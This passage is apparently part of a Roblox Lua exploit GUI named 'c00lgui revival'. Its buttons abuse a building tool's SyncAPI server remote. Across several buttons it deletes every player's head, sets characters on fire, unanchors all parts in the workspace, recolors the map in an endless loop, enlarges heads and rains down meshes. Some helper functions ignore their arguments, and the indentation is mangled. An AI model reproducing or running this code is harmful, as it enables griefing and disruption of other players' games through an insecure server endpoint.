      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = workspace.Part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                  }
            }
      }
      _(args)
end
function AddFire(part)
      local args = {
                       [1] = "CreateDecorations",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["DecorationType"] = "Fire"
                             }
                       }
                 }
                 _(args)
           end
           function Fire(player)
                 for i,v in player.Character:GetDescendants() do
                       if v:IsA("BasePart") then
                             AddFire(v)
                       end
                 end
                 DestroyPart(player.Character.Head)
           end
     button.MouseButton1Down:connect(function()
           --rgrg
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
           function SetCollision(part,boolean)
                 local args = {
                       [1] = "SyncCollision",
                       [2] = {
                 [1] = {
                       ["Part"] = part,
                       ["CanCollide"] = boolean
                 }
           }
     }
     _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = workspace
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = workspace.Part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                  }
           }
     }
     _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
                       }
                 }
                 _(args)
            end
            hrpcf = player.Character.HumanoidRootPart.CFrame
            while wait(0.5) do
                  x = hrpcf.x
                  z = hrpcf.z
                  randint = math.random(-600,600)
                  randint2 = math.random(-600,600)
                  xloc = randint + x
                  zloc = randint2 + z
                  cf = player.Character.HumanoidRootPart.CFrame.y + 400
                  spawn(function()
                        CreatePart(CFrame.new(math.floor(xloc),
math.random(cf,cf+400), math.floor(zloc)))
                        for i,v in game.Workspace:GetDescendants() do
                              if v.Name == "Part" and v.Parent == workspace and
v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
                                    SetName(v,"b_1337")
                                    SetAnchor(false,v)
                                    AddMesh(v)
                                    Resize(v, Vector3.new(100,100,100),v.CFrame)
                                    MeshResize(v,Vector3.new(3,3,3))
                                    SetMesh(v,"7234998844")
                                    SetTexture(v, "1009824086")
                                    SetCollision(v,false)
                              else
                              end
                        end
                  end)
            end
      end)
end
coroutine.wrap(EGDK_fake_script)()
local function QDRG_fake_script() -- button_52.LocalScript
      local script = Instance.new('LocalScript', button_52)
     button.MouseButton1Down:connect(function()
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
function SetCollision(part,boolean)
      local args = {
            [1] = "SyncCollision",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                  }
            }
      }
      _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                       ["Part"] = part,
                       ["CFrame"] = cf,
                       ["Size"] = size
                 }
           }
     }
     _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                 [1] = {
                       ["Part"] = part,
                       ["Scale"] = size
                 }
           }
     }
     _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
            },
            [3] = lead
      }
      _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                                    ["Part"] = part,
                                    ["LightType"] = "SpotLight",
                                    ["Brightness"] = brightness
                             }
                       }
                 }
                 _(args)
           end
           function KillAll()
                 for i,v in game.Players:GetPlayers() do
                       spawn(function()
                             SetLocked(v.Character.Head,false)
                             DestroyPart(v.Character.Head)
                       end)
                 end
           end
           KillAll()
      end)
end
coroutine.wrap(QDRG_fake_script)()
local function LQAKNWI_fake_script() -- button_53.LocalScript
      local script = Instance.new('LocalScript', button_53)
     button.MouseButton1Down:connect(function()
                 local player = game.Players.LocalPlayer
                 local char = player.Character
                 local tool
                 for i,v in player:GetDescendants() do
                       if v.Name == "SyncAPI" then
                             tool = v.Parent
                       end
                 end
                 for i,v in game.ReplicatedStorage:GetDescendants() do
                       if v.Name == "SyncAPI" then
                             tool = v.Parent
                       end
                 end
                 --craaa
                 remote = tool.SyncAPI.ServerEndpoint
                 function _(args)
                       remote:InvokeServer(unpack(args))
                 end
                 function SetCollision(part,boolean)
                       local args = {
                             [1] = "SyncCollision",
                             [2] = {
                                   [1] = {
                                         ["Part"] = part,
                                         ["CanCollide"] = boolean
                                   }
                             }
                       }
                       _(args)
                 end
                 function SetAnchor(boolean,part)
                       local args = {
           [1] = "SyncAnchor",
           [2] = {
                 [1] = {
                       ["Part"] = part,
                       ["Anchored"] = boolean
                 }
           }
     }
     _(args)
end
function CreatePart(cf,parent,types)
      local args = {
            [1] = "CreatePart",
            [2] = types,
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                 }
           }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
           },
           [3] = lead
     }
     _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                  }
            }
      }
      _(args)
end
function Material(part,mate)
     local args = {
           [1] = "SyncMaterial",
           [2] = {
                                    [1] = {
                                          ["Part"] = part,
                                          ["Material"] = mate
                                    }
                             }
                       }
                       _(args)
                  end
                  function Color(part,color)
                        local args = {
                              [1] = "SyncColor",
                              [2] = {
                                    [1] = {
                                          ["Part"] = part,
                                          ["Color"] = color --[[Color3]],
                                          ["UnionColoring"] = false
                                    }
                              }
                        }
                        _(args)
                  end
                  hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
                  hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
                  hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
                  function SpawnBasePlate()
                        CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
                        for i,v in game.Workspace:GetChildren() do
                              if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and
v.CFrame.x == hrpx then
                                    spawn(function()
     Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
                                        Material(v,Enum.Material.Grass)
                                        Color(v,Color3.fromRGB(25,100,25))
                                        while wait(1) do
     pcall(function()SetLocked(v,true)end)
                                        end
                                   end)
                             end
                       end
                 end
                 SpawnBasePlate()
     end)
end
coroutine.wrap(LQAKNWI_fake_script)()
local function MPCIN_fake_script() -- button_54.LocalScript
      local script = Instance.new('LocalScript', button_54)
     button.MouseButton1Down:connect(function()
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
      if v.Name == "SyncAPI" then
            tool = v.Parent
      end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
      remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
      local args = {
            [1] = "SyncCollision",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                  }
            }
      }
      _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                       ["CFrame"] = cf
                 }
           }
     }
     _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] =   part,
                        ["CFrame"]   = cf,
                        ["Size"] =   size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] =   part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                 [1] = workspace.Part
           },
           [3] = stringg
     }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
            },
            [3] = lead
      }
      _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                                    ["LightType"] = "SpotLight"
                             }
                       }
                 }
                 _(args)
           end
           function SyncLighting(part,brightness)
                 local args = {
                       [1] = "SyncLighting",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["LightType"] = "SpotLight",
                                   ["Brightness"] = brightness
                             }
                       }
                 }
                 _(args)
           end
           function BigHead(player)
                 local chara = player.Character
                 spawn(function()
                       SetLocked(chara.Head,false)
                       MeshResize(chara.Head,Vector3.new(10,10,10))
                 end)
           end
           for i,players in game.Players:GetPlayers() do
                 BigHead(players)
           end
      end)
end
coroutine.wrap(MPCIN_fake_script)()
local function HQBSF_fake_script() -- button_55.LocalScript
      local script = Instance.new('LocalScript', button_55)
     button.MouseButton1Down:connect(function()
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
           function SetCollision(part,boolean)
                 local args = {
           [1] = "SyncCollision",
           [2] = {
                 [1] = {
                       ["Part"] = part,
                       ["CanCollide"] = boolean
                 }
           }
     }
     _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                       ["Size"] = size
                 }
           }
     }
     _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                       ["Scale"] = size
                 }
           }
     }
     _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
            },
            [3] = lead
      }
      _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                                    ["Brightness"] = brightness
                             }
                       }
                 }
                 _(args)
           end
           function Unanchor()
                 for i,v in game.Workspace:GetDescendants() do
                       spawn(function()
                             SetLocked(v,false)
                             SetAnchor(false,v)
                       end)
                 end
           end
           Unanchor()
      end)
end
coroutine.wrap(HQBSF_fake_script)()
local function THNGQF_fake_script() -- button_56.LocalScript
      local script = Instance.new('LocalScript', button_56)
     button.MouseButton1Down:connect(function()
           --rgrg
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
           function SetCollision(part,boolean)
                 local args = {
                       [1] = "SyncCollision",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["CanCollide"] = boolean
                             }
                       }
                 }
                 _(args)
           end
           function SetAnchor(boolean,part)
                 local args = {
           [1] = "SyncAnchor",
           [2] = {
                 [1] = {
                       ["Part"] = part,
                       ["Anchored"] = boolean
                 }
           }
     }
     _(args)
end
function CreatePart(cf,parent)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = parent
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] =   part,
                        ["CFrame"]   = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] =   part,
                        ["CFrame"]   = cf,
                        ["Size"] =   size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] =   part
                 }
           }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
function Weld(part1, part2,lead)
      local args = {
            [1] = "CreateWelds",
            [2] = {
                  [1] = part1,
                  [2] = part2
           },
           [3] = lead
     }
     _(args)
end
function SetLocked(part,boolean)
      local args = {
            [1] = "SetLocked",
            [2] = {
                  [1] = part
            },
            [3] = boolean
      }
      _(args)
end
function SetTrans(part,int)
      local args = {
            [1] = "SyncMaterial",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Transparency"] = int
                  }
            }
      }
      _(args)
end
function CreateSpotlight(part)
      local args = {
            [1] = "CreateLights",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight"
                  }
            }
      }
      _(args)
end
function SyncLighting(part,brightness)
      local args = {
            [1] = "SyncLighting",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["LightType"] = "SpotLight",
                        ["Brightness"] = brightness
                  }
            }
      }
      _(args)
end
function Color(part,color)
      local args = {
            [1] = "SyncColor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                                    ["Color"] = color --[[Color3]],
                                    ["UnionColoring"] = false
                             }
                       }
                 }
                 _(args)
           end
           function randomise()
                 for i,v in game.Workspace:GetDescendants() do
                       if v:IsA("BasePart") then
                             spawn(function()
                                   SetLocked(v,false)
     Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
                             end)
                       end
                 end
           end
           while wait() do
                 spawn(function()
                       randomise()
                 end)
           end
     end)
end
coroutine.wrap(THNGQF_fake_script)()
local function VTUOG_fake_script() -- button_57.LocalScript
      local script = Instance.new('LocalScript', button_57)
     button.MouseButton1Down:connect(function()
           --rgrg
           local player = game.Players.LocalPlayer
           local char = player.Character
           local tool
           for i,v in player:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           for i,v in game.ReplicatedStorage:GetDescendants() do
                 if v.Name == "SyncAPI" then
                       tool = v.Parent
                 end
           end
           --craaa
           remote = tool.SyncAPI.ServerEndpoint
           function _(args)
                 remote:InvokeServer(unpack(args))
           end
           function SetCollision(part,boolean)
                 local args = {
                       [1] = "SyncCollision",
                       [2] = {
                             [1] = {
                                   ["Part"] = part,
                                   ["CanCollide"] = boolean
                             }
           }
     }
     _(args)
end
function SetAnchor(boolean,part)
      local args = {
            [1] = "SyncAnchor",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                  }
            }
      }
      _(args)
end
function CreatePart(cf)
      local args = {
            [1] = "CreatePart",
            [2] = "Normal",
            [3] = cf,
            [4] = workspace
      }
      _(args)
end
function DestroyPart(part)
      local args = {
            [1] = "Remove",
            [2] = {
                  [1] = workspace.Part
            }
      }
      _(args)
end
function MovePart(part,cf)
      local args = {
            [1] = "SyncMove",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                  }
            }
      }
      _(args)
end
function Resize(part,size,cf)
      local args = {
            [1] = "SyncResize",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                  }
            }
      }
      _(args)
end
function AddMesh(part)
      local args = {
            [1] = "CreateMeshes",
            [2] = {
                  [1] = {
                        ["Part"] = part
                  }
            }
      }
      _(args)
end
function SetMesh(part,meshid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                  }
            }
      }
      _(args)
end
function SetTexture(part, texid)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["TextureId"] = "rbxassetid://"..texid
                  }
            }
      }
      _(args)
end
function SetName(part, stringg)
      local args = {
            [1] = "SetName",
            [2] = {
                  [1] = workspace.Part
            },
            [3] = stringg
      }
      _(args)
end
function MeshResize(part,size)
      local args = {
            [1] = "SyncMesh",
            [2] = {
                  [1] = {
                        ["Part"] = part,
                        ["Scale"] = size
                  }
            }
      }
      _(args)
end
            hrpcf = player.Character.HumanoidRootPart.CFrame
            while wait(0.5) do
                  x = hrpcf.x
                  z = hrpcf.z
                  randint = math.random(-600,600)
                  randint2 = math.random(-600,600)
                  xloc = randint + x
                  zloc = randint2 + z
                  cf = player.Character.HumanoidRootPart.CFrame.y + 400
                  spawn(function()
                        CreatePart(CFrame.new(math.floor(xloc),
math.random(cf,cf+400), math.floor(zloc)))
                        for i,v in game.Workspace:GetDescendants() do
                              if v.Name == "Part" and v.Parent == workspace and
v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
                                    SetName(v,"b_1337")
                                    SetAnchor(false,v)
                                    AddMesh(v)
                                    Resize(v, Vector3.new(100,100,100),v.CFrame)
                                    MeshResize(v,Vector3.new(20,20,20))
                                    SetMesh(v,"430278839")
                                    SetTexture(v, "430278815")
                                    SetCollision(v,false)
                              else
                              end
                        end
                  end)
            end
      end)
end
coroutine.wrap(VTUOG_fake_script)()
local function MDDNVMA_fake_script() -- button_58.LocalScript
      local script = Instance.new('LocalScript', button_58)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"15475953475"
      end)
end
coroutine.wrap(MDDNVMA_fake_script)()
local function XFYH_fake_script() -- button_59.LocalScript
      local script = Instance.new('LocalScript', button_59)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"3342499434"
      end)
end
coroutine.wrap(XFYH_fake_script)()
local function CDBIWK_fake_script() -- button_60.LocalScript
      local script = Instance.new('LocalScript', button_60)
     button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"358313209"
      end)
end
coroutine.wrap(CDBIWK_fake_script)()
local function JFZIKQ_fake_script() -- button_61.LocalScript
      local script = Instance.new('LocalScript', button_61)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"16432013221"
      end)
end
coroutine.wrap(JFZIKQ_fake_script)()
local function FBHUDW_fake_script() -- button_62.LocalScript
      local script = Instance.new('LocalScript', button_62)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"13283475854"
      end)
end
coroutine.wrap(FBHUDW_fake_script)()
local function ELDZR_fake_script() -- button_63.LocalScript
      local script = Instance.new('LocalScript', button_63)
      button.MouseButton1Down:connect(function()
            game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text =
"16673285043"
      end)
end
coroutine.wrap(ELDZR_fake_script)()
game:GetService("StarterGui"):SetCore("SendNotification",{
      Title = "c00lgui", -- Required
      Text = "c00lgui revival has loaded.", -- Required
})